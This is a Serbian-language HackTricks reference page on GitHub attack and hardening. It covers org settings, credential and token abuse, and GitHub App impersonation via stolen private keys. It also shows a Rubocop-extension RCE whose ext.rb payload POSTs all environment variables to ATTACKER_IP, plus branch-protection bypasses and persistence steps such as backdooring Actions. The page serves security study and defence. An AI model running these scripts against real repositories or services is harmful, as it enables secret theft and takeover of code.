Github Security
Reading time: 18 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Šta je Github
(From here) Na visokom nivou, GitHub je veb sajt i usluga zasnovana na oblaku koja pomaže programerima da čuvaju i upravljaju svojim kodom, kao i da prate i kontrolišu promene u svom kodu.
Osnovne informacije
Spoljna rekognosciranja
Github repozitorijumi mogu biti konfigurisani kao javni, privatni i interni.
- Privatni znači da će samo ljudi iz organizacije moći da im pristupe
- Interni znači da će samo ljudi iz preduzeća (preduzeće može imati nekoliko organizacija) moći da mu pristupe
- Javni znači da će svi na internetu moći da mu pristupe.
U slučaju da znate korisnika, repozitorijum ili organizaciju koju želite da ciljate, možete koristiti github dorks da pronađete osetljive informacije ili pretražujete curenje osetljivih informacija u svakom repozitorijumu.
Github Dorks
Github omogućava da pretražujete nešto specificirajući kao opseg korisnika, repozitorijuma ili organizacije. Stoga, sa listom stringova koji će se pojaviti blizu osetljivih informacija, možete lako pretražiti potencijalne osetljive informacije u vašem cilju.
Alati (svaki alat sadrži svoju listu dorks):
- https://github.com/obheda12/GitDorker (Dorks list)
- https://github.com/techgaun/github-dorks (Dorks list)
- https://github.com/hisxo/gitGraber (Dorks list)
Github Curenja
Imajte na umu da su github dorks takođe namenjeni pretraživanju curenja koristeći github opcije pretrage. Ova sekcija je posvećena onim alatima koji će preuzeti svaki repozitorijum i pretražiti osetljive informacije u njima (čak proveravajući određenu dubinu commit-a).
Alati (svaki alat sadrži svoju listu regex-a):
Proverite ovu stranicu: https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.html
warning
Kada tražite curenja u repozitorijumu i pokrenete nešto poput git log -p
, ne zaboravite da mogu postojati druge grane sa drugim commit-ima koje sadrže tajne!
Spoljni Forkovi
Moguće je kompromitovati repozitorijume zloupotrebom pull zahteva. Da biste znali da li je repozitorijum ranjiv, uglavnom treba da pročitate Github Actions yaml konfiguracije. Više informacija o ovome u nastavku.
Github Curenja u obrisanim/internim forkovima
Čak i ako su obrisani ili interni, može biti moguće dobiti osetljive podatke iz forkova github repozitorijuma. Proverite ovde:
Accessible Deleted Data in Github
Ojačavanje organizacije
Privilegije članova
Postoje neke podrazumevane privilegije koje se mogu dodeliti članovima organizacije. Ove se mogu kontrolisati sa stranice https://github.com/organizations/<org_name>/settings/member_privileges
ili iz Organizations API.
- Osnovne dozvole: Članovi će imati dozvolu None/Read/write/Admin za repozitorijume organizacije. Preporučuje se None ili Read.
- Forkovanje repozitorijuma: Ako nije neophodno, bolje je ne dozvoliti članovima da fork-uju repozitorijume organizacije.
- Kreiranje stranica: Ako nije neophodno, bolje je ne dozvoliti članovima da objavljuju stranice iz repozitorijuma organizacije. Ako je neophodno, možete dozvoliti kreiranje javnih ili privatnih stranica.
- Zahtevi za pristup integracijama: Sa ovim omogućeno, spoljnim saradnicima će biti omogućeno da zatraže pristup za GitHub ili OAuth aplikacije da pristupe ovoj organizaciji i njenim resursima. Obično je potrebno, ali ako nije, bolje je onemogućiti to.
- Nisam mogao pronaći ove informacije u API-ju, podelite ako ih imate
- Promena vidljivosti repozitorijuma: Ako je omogućeno, članovi sa admin dozvolama za repozitorijum će moći da promene njegovu vidljivost. Ako je onemogućeno, samo vlasnici organizacije mogu menjati vidljivosti repozitorijuma. Ako ne želite da ljudi čine stvari javnim, uverite se da je ovo onemogućeno.
- Nisam mogao pronaći ove informacije u API-ju, podelite ako ih imate
- Brisanje i prenos repozitorijuma: Ako je omogućeno, članovi sa admin dozvolama za repozitorijum će moći da obrišu ili prenose javne i privatne repozitorijume.
- Nisam mogao pronaći ove informacije u API-ju, podelite ako ih imate
- Dozvoliti članovima da kreiraju timove: Ako je omogućeno, svaki član organizacije će moći da kreira nove timove. Ako je onemogućeno, samo vlasnici organizacije mogu kreirati nove timove. Bolje je da ovo bude onemogućeno.
- Nisam mogao pronaći ove informacije u API-ju, podelite ako ih imate
- Još stvari se mogu konfigurisati na ovoj stranici, ali prethodne su one koje su više vezane za bezbednost.
Podešavanja akcija
Nekoliko podešavanja vezanih za bezbednost može se konfigurisati za akcije sa stranice https://github.com/organizations/<org_name>/settings/actions
.
note
Imajte na umu da se sve ove konfiguracije takođe mogu postaviti na svakom repozitorijumu nezavisno
- Github akcije politike: Omogućava vam da navedete koji repozitorijumi mogu pokretati radne tokove i koji radni tokovi bi trebali biti dozvoljeni. Preporučuje se da specificirate koji repozitorijumi bi trebali biti dozvoljeni i ne dozvolite svim akcijama da se pokreću.
- API-1, API-2
- Fork pull request radni tokovi od spoljnjih saradnika: Preporučuje se da se zahteva odobrenje za sve spoljne saradnike.
- Nisam mogao pronaći API sa ovim informacijama, podelite ako ih imate
- Pokretanje radnih tokova iz fork pull zahteva: Veoma je nepreporučljivo pokretati radne tokove iz pull zahteva jer će održavaoci fork porekla dobiti mogućnost korišćenja tokena sa dozvolama za čitanje na izvorni repozitorijum.
- Nisam mogao pronaći API sa ovim informacijama, podelite ako ih imate
- Dozvole radnog toka: Veoma se preporučuje da samo date dozvole za čitanje repozitorijuma. Ne preporučuje se davanje dozvola za pisanje i kreiranje/odobravanje pull zahteva kako bi se izbegla zloupotreba GITHUB_TOKEN-a datog za pokretanje radnih tokova.
- API
Integracije
Javite mi ako znate API krajnju tačku za pristup ovim informacijama!
- Politika pristupa aplikacijama trećih strana: Preporučuje se ograničavanje pristupa svakoj aplikaciji i dozvoliti samo potrebne (nakon pregleda).
- Instalirane GitHub aplikacije: Preporučuje se dozvoliti samo potrebne (nakon pregleda).
Rekognosciranje i napadi zloupotrebom kredencijala
Za ovaj scenario pretpostavićemo da ste dobili neki pristup github nalogu.
Sa korisničkim kredencijalima
Ako nekako već imate kredencijale za korisnika unutar organizacije, možete samo da se prijavite i proverite koje preduzetničke i organizacione uloge imate, ako ste običan član, proverite koje dozvole imaju obični članovi, u kojim grupama ste, koje dozvole imate nad kojim repozitorijumima i kako su repozitorijumi zaštićeni.
Imajte na umu da se 2FA može koristiti tako da ćete moći da pristupite ovim informacijama samo ako možete i da prođete tu proveru.
note
Imajte na umu da ako uspete da ukradete user_session
kolačić (trenutno konfigurisano sa SameSite: Lax) možete potpuno imitirati korisnika bez potrebe za kredencijalima ili 2FA.
Proverite odeljak ispod o zaobilaženju zaštite grana u slučaju da je korisno.
Sa korisničkim SSH ključem
Github omogućava korisnicima da postave SSH ključeve koji će se koristiti kao metoda autentifikacije za implementaciju koda u njihovo ime (bez primene 2FA).
Sa ovim ključem možete izvršiti promene u repozitorijumima gde korisnik ima neke privilegije, međutim ne možete ga koristiti za pristup github API-ju da enumerišete okruženje. Međutim, možete enumerisati lokalne postavke da dobijete informacije o repozitorijumima i korisniku kojem imate pristup:
# Go to the the repository folder
# Get repo config and current user name and email
git config --list
Ako je korisnik konfigurisao svoje korisničko ime kao svoje github korisničko ime, možete pristupiti javnim ključevima koje je postavio na svom nalogu na https://github.com/<github_username>.keys, možete proveriti ovo da potvrdite da li se privatni ključ koji ste pronašli može koristiti.
SSH ključevi se takođe mogu postaviti u repozitorijume kao deploy ključevi. Svako ko ima pristup ovom ključu moći će da pokrene projekte iz repozitorijuma. Obično na serveru sa različitim deploy ključevima lokalna datoteka ~/.ssh/config
će vam dati informacije o tome kojem ključu pripada.
GPG Ključevi
Kao što je objašnjeno ovde, ponekad je potrebno potpisati commit-e ili biste mogli biti otkriveni.
Proverite lokalno da li trenutni korisnik ima neki ključ sa:
gpg --list-secret-keys --keyid-format=long
Sa korisničkim tokenom
Za uvod o korisničkim tokenima proverite osnovne informacije.
Korisnički token može da se koristi umesto lozinke za Git preko HTTPS-a, ili može da se koristi za autentifikaciju na API preko osnovne autentifikacije. U zavisnosti od privilegija koje su mu pridružene, možda ćete moći da izvršite različite radnje.
Korisnički token izgleda ovako: ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123
Sa Oauth aplikacijom
Za uvod o Github Oauth aplikacijama proverite osnovne informacije.
Napadač može da kreira malicious Oauth aplikaciju da bi pristupio privilegovanim podacima/radnjama korisnika koji je prihvataju verovatno kao deo phishing kampanje.
Ovo su opsezi koje Oauth aplikacija može zatražiti. Uvek treba proveriti opsege koji se traže pre nego što ih prihvatite.
Štaviše, kao što je objašnjeno u osnovnim informacijama, organizacije mogu dati/oduzeti pristup aplikacijama trećih strana informacijama/repozitorijumima/radnjama vezanim za organizaciju.
Sa Github aplikacijom
Za uvod o Github aplikacijama proverite osnovne informacije.
Napadač može da kreira malicious Github aplikaciju da bi pristupio privilegovanim podacima/radnjama korisnika koji je prihvataju verovatno kao deo phishing kampanje.
Štaviše, kao što je objašnjeno u osnovnim informacijama, organizacije mogu dati/oduzeti pristup aplikacijama trećih strana informacijama/repozitorijumima/radnjama vezanim za organizaciju.
Imitirati GitHub aplikaciju sa njenim privatnim ključem (JWT → tokeni za pristup instalaciji)
Ako dobijete privatni ključ (PEM) GitHub aplikacije, možete potpuno imitirati aplikaciju kroz sve njene instalacije:
- Generišite kratkoročni JWT potpisan privatnim ključem
- Pozovite GitHub App REST API da enumerišete instalacije
- Mintujte tokene za pristup po instalaciji i koristite ih za listanje/kloniranje/pushovanje u repozitorijume dodeljene toj instalaciji
Zahtevi:
- Privatni ključ GitHub aplikacije (PEM)
- ID GitHub aplikacije (numerički). GitHub zahteva da iss bude ID aplikacije
Kreirajte JWT (RS256):
#!/usr/bin/env python3
import time, jwt
with open("priv.pem", "r") as f:
signing_key = f.read()
APP_ID = "123456" # GitHub App ID (numeric)
def gen_jwt():
now = int(time.time())
payload = {
"iat": now - 60,
"exp": now + 600 - 60, # ≤10 minutes
"iss": APP_ID,
}
return jwt.encode(payload, signing_key, algorithm="RS256")
Lista instalacija za autentifikovanu aplikaciju:
JWT=$(python3 -c 'import time,jwt,sys;print(jwt.encode({"iat":int(time.time()-60),"exp":int(time.time())+540,"iss":sys.argv[1]}, open("priv.pem").read(), algorithm="RS256"))' 123456)
curl -sS -H "Authorization: Bearer $JWT" \
-H "Accept: application/vnd.github+json" \
-H "X-GitHub-Api-Version: 2022-11-28" \
https://api.github.com/app/installations
Kreirajte token za pristup instalaciji (važeći ≤ 10 minuta):
INSTALL_ID=12345678
curl -sS -X POST \
-H "Authorization: Bearer $JWT" \
-H "Accept: application/vnd.github+json" \
-H "X-GitHub-Api-Version: 2022-11-28" \
https://api.github.com/app/installations/$INSTALL_ID/access_tokens
Koristite token za pristup kodu. Možete klonirati ili slati koristeći x‑access‑token URL formu:
TOKEN=ghs_...
REPO=owner/name
git clone https://x-access-token:${TOKEN}@github.com/${REPO}.git
# push works if the app has contents:write on that repository
Programatski PoC za ciljanje specifične organizacije i listanje privatnih repozitorijuma (PyGithub + PyJWT):
#!/usr/bin/env python3
import time, jwt, requests
from github import Auth, GithubIntegration
with open("priv.pem", "r") as f:
signing_key = f.read()
APP_ID = "123456" # GitHub App ID (numeric)
ORG = "someorg"
def gen_jwt():
now = int(time.time())
payload = {"iat": now-60, "exp": now+540, "iss": APP_ID}
return jwt.encode(payload, signing_key, algorithm="RS256")
auth = Auth.AppAuth(APP_ID, signing_key)
GI = GithubIntegration(auth=auth)
installation = GI.get_org_installation(ORG)
print(f"Installation ID: {installation.id}")
jwt_tok = gen_jwt()
r = requests.post(
f"https://api.github.com/app/installations/{installation.id}/access_tokens",
headers={
"Accept": "application/vnd.github+json",
"Authorization": f"Bearer {jwt_tok}",
"X-GitHub-Api-Version": "2022-11-28",
},
)
access_token = r.json()["token"]
print("--- repos ---")
for repo in installation.get_repos():
print(f"* {repo.full_name} (private={repo.private})")
clone_url = f"https://x-access-token:{access_token}@github.com/{repo.full_name}.git"
print(clone_url)
Napomene:
- Instalacioni tokeni nasleđuju tačno dozvole na nivou repozitorijuma aplikacije (na primer, contents: write, pull_requests: write)
- Tokeni ističu za ≤10 minuta, ali novi tokeni mogu se praviti neograničeno sve dok zadržite privatni ključ
- Takođe možete enumerisati instalacije putem REST API-ja (GET /app/installations) koristeći JWT
Kompromitovanje i zloupotreba Github akcije
Postoji nekoliko tehnika za kompromitovanje i zloupotrebu Github akcije, proverite ih ovde:
Zloupotreba aplikacija trećih strana na GitHub-u koje pokreću eksterne alate (Rubocop ekstenzija RCE)
Neke GitHub aplikacije i usluge za pregled PR-a izvršavaju eksterne linters/SAST protiv pull zahteva koristeći konfiguracione datoteke pod kontrolom repozitorijuma. Ako podržani alat omogućava dinamičko učitavanje koda, PR može postići RCE na izvršavaču usluge.
Primer: Rubocop podržava učitavanje ekstenzija iz svoje YAML konfiguracije. Ako usluga prođe kroz .rubocop.yml koji obezbeđuje repozitorijum, možete izvršiti proizvoljni Ruby zahtevom za lokalnom datotekom.
- Uslovi za aktiviranje obično uključuju:
- Alat je omogućen u usluzi
- PR sadrži datoteke koje alat prepoznaje (za Rubocop: .rb)
- Repozitorijum sadrži konfiguracionu datoteku alata (Rubocop traži .rubocop.yml bilo gde)
Datoteke za eksploataciju u PR-u:
.rubocop.yml
require:
- ./ext.rb
ext.rb (izvlačenje varijabli okruženja za izvršavanje):
require 'net/http'
require 'uri'
require 'json'
env_vars = ENV.to_h
json_data = env_vars.to_json
url = URI.parse('http://ATTACKER_IP/')
begin
http = Net::HTTP.new(url.host, url.port)
req = Net::HTTP::Post.new(url.path)
req['Content-Type'] = 'application/json'
req.body = json_data
http.request(req)
rescue StandardError => e
warn e.message
end
Takođe uključite dovoljno veliki lažni Ruby fajl (npr. main.rb) kako bi linter zapravo radio.
Uticaj u stvarnom svetu:
- Potpuna izvršenja koda na produkcionom izvršavaocu koji je pokrenuo linter
- Ekstrakcija osetljivih promenljivih okruženja, uključujući privatni ključ GitHub aplikacije korišćen od strane servisa, API ključeve, DB akreditive itd.
- Sa provaljenim privatnim ključem GitHub aplikacije možete kreirati tokene za instalaciju i dobiti pristup za čitanje/pisanje svim repozitorijumima koji su dodeljeni toj aplikaciji (videti odeljak iznad o imitujući GitHub aplikaciju)
Uputstva za jačanje servisa koji pokreću spoljne alate:
- Smatrajte konfiguracije alata koje pruža repozitorijum kao nepouzdani kod
- Izvršavajte alate u strogo izolovanim peskovnicima bez montiranih osetljivih promenljivih okruženja
- Primijenite akreditive sa najmanjim privilegijama i izolaciju datotečnog sistema, i ograničite/odbijte izlaznu mrežnu komunikaciju za alate koji ne zahtevaju pristup internetu
Zaobilaženje zaštite grane
- Zahtevajte određeni broj odobrenja: Ako ste kompromitovali nekoliko naloga, mogli biste jednostavno prihvatiti svoje PR-ove iz drugih naloga. Ako imate samo nalog sa kojeg ste kreirali PR, ne možete prihvatiti svoj PR. Međutim, ako imate pristup Github Action okruženju unutar repozitorijuma, koristeći GITHUB_TOKEN mogli biste odobriti svoj PR i dobiti 1 odobrenje na ovaj način.
- Napomena za ovo i za ograničenje vlasnika koda da obično korisnik neće moći da odobri svoje PR-ove, ali ako možete, možete to zloupotrebiti da prihvatite svoje PR-ove.
- Odbacite odobrenja kada su novi commit-ovi poslati: Ako ovo nije postavljeno, možete poslati legitimni kod, čekati da ga neko odobri, a zatim staviti zlonamerni kod i spojiti ga u zaštićenu granu.
- Zahtevajte preglede od vlasnika koda: Ako je ovo aktivirano i vi ste vlasnik koda, mogli biste napraviti Github Action da kreira vaš PR i zatim ga sami odobrite.
- Kada je CODEOWNER fajl pogrešno konfigurisan, Github se ne žali, ali ga ne koristi. Stoga, ako je pogrešno konfigurisan, zaštita vlasnika koda se ne primenjuje.
- Dozvolite određenim akterima da zaobiđu zahteve za povlačenje: Ako ste jedan od ovih aktera, možete zaobići zaštitu zahteva za povlačenje.
- Uključite administratore: Ako ovo nije postavljeno i vi ste administrator repozitorijuma, možete zaobići ovu zaštitu grane.
- PR otmica: Možete biti u mogućnosti da modifikujete PR nekog drugog dodajući zlonamerni kod, odobravajući rezultantni PR sami i spajajući sve.
- Uklanjanje zaštite grane: Ako ste administrator repozitorijuma, možete onemogućiti zaštite, spojiti svoj PR i ponovo postaviti zaštite.
- Zaobilaženje zaštita za slanje: Ako repozitorijum samo dozvoljava određenim korisnicima da šalju push (spajaju kod) u granama (zaštita grane može štititi sve grane specificirajući džoker
*
). - Ako imate pristup za pisanje preko repozitorijuma, ali vam nije dozvoljeno da šaljete kod zbog zaštite grane, još uvek možete napraviti novu granu i unutar nje kreirati github action koji se aktivira kada se kod pošalje. Kako zaštita grane neće štititi granu dok se ne kreira, ovo prvo slanje koda u granu će izvršiti github action.
Zaobilaženje zaštita okruženja
Za uvod o Github okruženju proverite osnovne informacije.
U slučaju da se okruženje može pristupiti sa svih grana, nije zaštićeno i lako možete pristupiti tajnama unutar okruženja. Imajte na umu da možete pronaći repozitorijume gde su sve grane zaštićene (specifikovanjem njihovih imena ili korišćenjem *
), u tom scenariju, pronađite granu u koju možete poslati kod i možete ekstrahovati tajne kreirajući novu github action (ili modifikujući jednu).
Napomena, da možete naići na ivicu slučaja gde su sve grane zaštićene (putem džokera *
) i specificirano je ko može slati kod u grane (to možete specificirati u zaštiti grane) i vašem korisniku nije dozvoljeno. I dalje možete pokrenuti prilagođenu github action jer možete kreirati granu i koristiti okidač za slanje preko nje same. Zaštita grane dozvoljava slanje u novu granu tako da će github action biti aktiviran.
push: # Run it when a push is made to a branch
branches:
- current_branch_name #Use '**' to run when a push is made to any branch
Napomena da će se nakon kreiranja grane zaštita grane primeniti na novu granu i nećete moći da je modifikujete, ali do tog trenutka već ćete biti izbacili tajne.
Persistencija
- Generišite korisnički token
- Ukradite github tokene iz tajni
- Brisanje rezultata workflow-a i grana
- Dajte više dozvola celoj organizaciji
- Kreirajte webhook-ove za eksfiltraciju informacija
- Pozovite spoljašnje saradnike
- Uklonite webhook-ove koje koristi SIEM
- Kreirajte/modifikujte Github Action sa bekdoor-om
- Pronađite ranjivu Github Action za injekciju komandi putem modifikacije tajne vrednosti
Impostor Commit-ovi - Bekdoor putem repo commit-ova
U Github-u je moguće napraviti PR za repo iz forka. Čak i ako PR nije prihvaćen, commit id unutar originalnog repoa će biti kreiran za fork verziju koda. Stoga, napadač može da se oslanja na korišćenje specifičnog commita iz naizgled legitimnog repoa koji nije kreirao vlasnik repoa.
Kao ovo:
name: example
on: [push]
jobs:
commit:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e
- shell: bash
run: |
echo 'hello world!'
Za više informacija proverite https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd
Reference
- Kako smo iskoristili CodeRabbit: od jednostavnog PR-a do RCE i pristupa za pisanje na 1M repozitorijuma
- Rubocop ekstenzije (require)
- Autentifikacija sa GitHub aplikacijom (JWT)
- Lista instalacija za autentifikovanu aplikaciju
- Kreirajte token za pristup instalaciji za aplikaciju
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.